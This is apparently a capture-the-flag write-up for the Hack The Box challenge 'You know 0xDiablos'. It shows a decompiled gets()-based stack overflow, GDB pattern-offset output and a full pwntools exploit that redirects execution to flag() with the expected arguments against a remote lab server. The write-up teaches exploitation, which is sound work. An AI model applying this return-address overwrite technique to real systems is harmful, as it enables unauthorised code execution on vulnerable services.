You know 0xDiablos
Interacting with the Server
1
2
3
4
└─$ nc 94.237.50.221 30131
You know who are 0xDiablos:
yes
yes
The server just returns our string.
This looked like a buffer overflow path. I downloaded the files and started disassembling it.
vuln function
In int main() we see a call to vuln function that is:
1
2
3
4
5
6
7
8
9
void vuln(void)
{
char local_bc [180];
gets(local_bc);
puts(local_bc);
return;
}
- gets() reads input without bounds checking, meaning it keeps reading until it hits a newline.
- If the input is larger than the destination buffer, it causes a buffer overflow.
We can see the buffer is 180 character long.
We also have a flag() function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void flag(int param_1,int param_2)
{
char local_50 [64];
FILE *local_10;
local_10 = fopen("flag.txt","r");
if (local_10 != (FILE *)0x0) {
fgets(local_50,0x40,local_10);
if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
printf(local_50);
}
return;
}
puts("Hurry up and try in on server side.");
/* WARNING: Subroutine does not return */
exit(0);
}
What to do
Confirm the parameter values the flag() function expects
The flag() function is looking for exactly these two 32-bit arguments:
- 1st argument: 0xdeadbeef
- 2nd argument: 0xc0ded00d
Identify the overflow offset
GDB + cyclic pattern showed that the saved return address starts 188 bytes into the buffer.
Build the new payload
Layout on the stack (32-bit):
1
2
3
4
5
[188 bytes] filler (junk) <-- fills buffer + saved EBP
[4 bytes] overwritten RET → flag() <-- where EIP will jump
[4 bytes] fake return address (dummy) <-- where EIP will jump after flag() returns
[4 bytes] 0xdeadbeef <-- 1st argument
[4 bytes] 0xc0ded00d <-- 2nd argument
Total length: 188 + 4 + 4 + 4 + 4 = 204 bytes
Let’s find the address of flag() function:
Find Address of flag()
1
2
objdump -d vuln | grep '<flag>'
080491e2 <flag>:
Find offset of EIP
Since EIP is what we will execute next, we will attach gdb and observe how it works:
- Start by creating a pattern of 200 bytes:
pattern create 200save it topatterns.txt - Run the binary with the pattern:
run < patterns.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xc9
$ebx : 0x62616175 ("uaab"?)
$ecx : 0xf7f9c8e0 → 0x00000000
$edx : 0x0
$esp : 0xffffce80 → "xaabyaab"
$ebp : 0x62616176 ("vaab"?)
$esi : 0x08049330 → <__libc_csu_init+0000> push ebp
$edi : 0xf7ffcb60 → 0x00000000
$eip : 0x62616177 ("waab"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce80│+0x0000: "xaabyaab" ← $esp
0xffffce84│+0x0004: "yaab"
0xffffce88│+0x0008: 0x00000000
0xffffce8c│+0x000c: 0x000003e8
0xffffce90│+0x0010: 0xffffceb0 → 0x00000001
0xffffce94│+0x0014: 0xf7f9ae14 → 0x00232d0c ("
-#"?)
0xffffce98│+0x0018: 0x00000000
0xffffce9c│+0x001c: 0xf7d8ccc3 → add esp, 0x10
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616177
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x62616177 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
- Identify what EIP becomes:
info eip register
1
2
gef➤ info registers eip
eip 0x62616177 0x62616177
EIP contains 0x62616177 which should be the 188th byte of our payload. Next 4 bytes overwrite the saved returned address (we inject flag() function address here). Following 12 bytes (fake return address + 2 arguments) are placed on the stack exactly as shown in the previous exploit template.
We could use pattern offset to learn the exact offset as well:
1
2
3
gef➤ pattern offset 0x62616177
[+] Searching for '77616162'/'62616177' with period=4
[+] Found at offset 188 (little-endian search) likely
Time to craft the payload.
Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat payload.py
from pwn import *
flag_addr = 0x080491e2
payload = b'A' * 188
payload += p32(flag_addr)
payload += p32(0x42424242)
payload += p32(0xdeadbeef)
payload += p32(0xc0ded00d)
p = remote('94.237.50.221', 40088)
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
python3 payload.py
[+] Opening connection to 94.237.50.221 on port 40088: Done
[*] Switching to interactive mode
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe2\x91\x04\x08BB\xd0\xde\xc0
HTB{xxxx}[*] Got EOF while reading in interactive
$ exit
$
[*] Closed connection to 94.237.50.221 port 40088
[*] Got EOF while sending in interactive